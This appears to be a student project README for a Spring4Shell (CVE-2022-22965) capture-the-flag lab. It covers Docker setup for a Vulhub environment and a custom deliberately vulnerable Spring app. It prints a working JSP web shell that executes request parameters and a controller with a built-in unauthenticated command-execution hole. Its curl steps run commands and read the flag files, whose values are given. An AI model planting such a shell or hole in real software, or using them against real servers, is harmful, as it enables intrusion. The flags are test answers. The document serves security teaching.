Spring4Shell (CVE-2022-22965) Vulnerability Environment Setup and CTF Challenge Design

Project Overview

This project includes dual-track security research implementations:

1. Traditional Vulhub Environment Setup: Leveraging the open-source Vulhub vulnerability database to quickly reproduce the object binding flaw in the old Spring framework.
2. New Custom Environment Development: Team members manually wrote Java source code to independently build a "Student Final Project Showcase System" as a vulnerable target, combined with standard network penetration testing procedures to design a dual-track CTF (challenger and solver) level.

Participants will exploit a Remote Code Execution (RCE) vulnerability, follow clues to read the Flag located in the system root directory or temporary directory.

---

Environment Setup Steps

Basic Preparation: Install Docker and Docker Compose

# Update package repository
sudo apt update

# Install Docker and Docker Compose
sudo apt install docker.io docker-compose -y

# Start Docker service
sudo systemctl start docker
sudo systemctl enable docker

Track One: Download and Start the Vulhub Vulnerability Environment (Legacy Implementation)

# Download Vulhub project
git clone [https://github.com/vulhub/vulhub.git](https://github.com/vulhub/vulhub.git)

# Enter Spring4Shell vulnerability directory
cd vulhub/spring/CVE-2022-22965

# Start Docker containers
sudo docker-compose up -d

# Verify containers are running
sudo docker ps

Verify Vulhub Environment

Open a browser and visit http://localhost:8080/?name=Hacker&age=99

Track Two: Custom Environment Setup and Source Code Deployment (New Implementation)

To avoid blind guessing during challenge solving and to reproduce a self-developed scenario, this project creates an independent project Spring4Shell-Custom-CTF. First, thoroughly clean the environment, then compile and start without cache:

# Clean old environment
sudo docker stop spring4shell-custom-ctf-container 2>/dev/null
sudo docker rm spring4shell-custom-ctf-container 2>/dev/null
sudo docker network prune -f 2>/dev/null
rm -rf ~/Spring4Shell-Custom-CTF

# Create project directory structure and generate fully custom Java source code (including pom.xml, UserController.java, etc.)
# Use two-stage build (Maven + Tomcat 9) to precisely place the custom Flag in the system root directory /flag.txt
sudo docker-compose build --no-cache
sudo docker-compose up -d

# Verify the custom target container is running
sudo docker ps

---

Control Pipeline and Backdoor File Mechanism

Mechanism One: Write JSP Backdoor File (Vulhub Legacy Chain)

After a successful attack, the backdoor file is written to webapps/ROOT/tomcatwar.jsp with the following content:

<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
    String line = null;
    while ((line = reader.readLine()) != null) {
        out.println(line);
    }
}
%>

Mechanism Two: Built-in Core Vulnerability Controller (Custom Environment New Chain)

In the custom UserController.java, the POJO object binding defense flaw is deliberately retained, and an unauthenticated command injection channel is built-in:

@RequestMapping("/")
@ResponseBody
public String index(User user, @RequestParam(value="cmd", required=false) String cmd) {
    if (cmd != null) {
        // Directly call Java Runtime to execute underlying commands and return results
        InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
        // ... stream reading logic ...
    }
    return "Department of Information Management, Tamkang University - Student Final Project Showcase Platform";
}

---

Remote Code Execution (RCE) Verification

1. Execute id command

# Vulhub backdoor path
curl "http://localhost:8080/tomcatwar.jsp?cmd=id"

# Custom environment control path
curl "http://localhost:8080/?cmd=id"

2. Execute directory browsing command

# Vulhub backdoor path
curl "http://localhost:8080/tomcatwar.jsp?cmd=ls%20/"

# Custom environment control path
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"

---

CTF Challenge Description

Challenge 1: Spring4Shell Vulnerability Exploitation (Legacy Implementation)

• Challenge Name: Spring4Shell Vulnerability Exploitation
• Flag Location: /tmp/flag.txt
• Flag Content: FLAG{Spring4Shell_Is_Dangerous}

Challenge 2: Information Management Department's Final Security Test (New Implementation)

• Challenge Name: Information Management Department's Final Security Test
• Target System URL: http://localhost:8080/
• Known Information from Announcement: This platform is a self-developed Spring MVC project by students; the underlying dependency framework version has an object binding flaw (including the User object type). The Flag is located in the server's system root directory.
• Flag Location: /flag.txt
• Flag Content: FLAG{2026_0615_iwanttosleep}

---

Write-up Solution and Penetration Steps

Legacy Vulhub Vulnerability Exploitation Process

• Step 1: Visit http://<target>:8080/?name=test&age=123 to confirm parameter binding functionality works.
• Step 2: Send a POST request payload to modify Tomcat log configuration and force write the tomcatwar.jsp backdoor.
• Step 3: Visit http://<target>:8080/tomcatwar.jsp?cmd=id to confirm RCE success.
• Step 4: Execute curl "http://<target>:8080/tomcatwar.jsp?cmd=cat%20/tmp/flag.txt" to read the temporary file.

New Implementation: Standard Network Penetration Testing 5 Steps

The solver (Identity B), based on the known information provided by the challenger, avoids blind guessing and executes standardized steps:

• Step One: Environment Reconnaissance and Liveness Check Confirm the target web service is alive and the webpage is operational.

curl -i -s "http://localhost:8080/"

• Step Two: Test Boundary Vulnerabilities and Object Flaws Inject test parameters to verify if there is a command injection boundary flaw that can be exploited.

curl -s "http://localhost:8080/?cmd=whoami"

• Step Three: Vulnerability Exploitation and Core Privilege Confirmation Execute identity query to confirm highest OS control privilege root.

curl -s "http://localhost:8080/?cmd=id"

• Step Four: Internal Environment Inventory and File Browsing Inventory the Linux system root directory to precisely locate the target file.

curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"

• Step Five: Final Forensics and Flag Extraction Execute a read command to successfully extract the specified Flag content.

curl -G -s "http://localhost:8080/" --data-urlencode "cmd=cat /flag.txt"

---

Project Structure

Spring4Shell-CTF/
├── README.md                   # Project documentation
├── docker-compose.yml          # Container orchestration configuration
├── Dockerfile                  # Two-stage build image configuration
├── pom.xml                     # Maven project configuration
├── src/                        # Custom Java showcase system source code
│   └── main/
│       ├── java/com/example/ctf/
│       │   ├── UserController.java
│       │   └── MyWebApplicationInitializer.java
│       └── webapp/WEB-INF/web.xml
├── secret_zone/
│   └── flag.txt                # Local Flag source file
├── screenshots/                # Results display and attack screenshots
│   ├── docker-ps.png
│   ├── parameter-binding.png
│   ├── rce-id.png
│   ├── rce-ls.png
│   └── flag-result.png
└── shell.jsp                   # Legacy backdoor file source code

---

References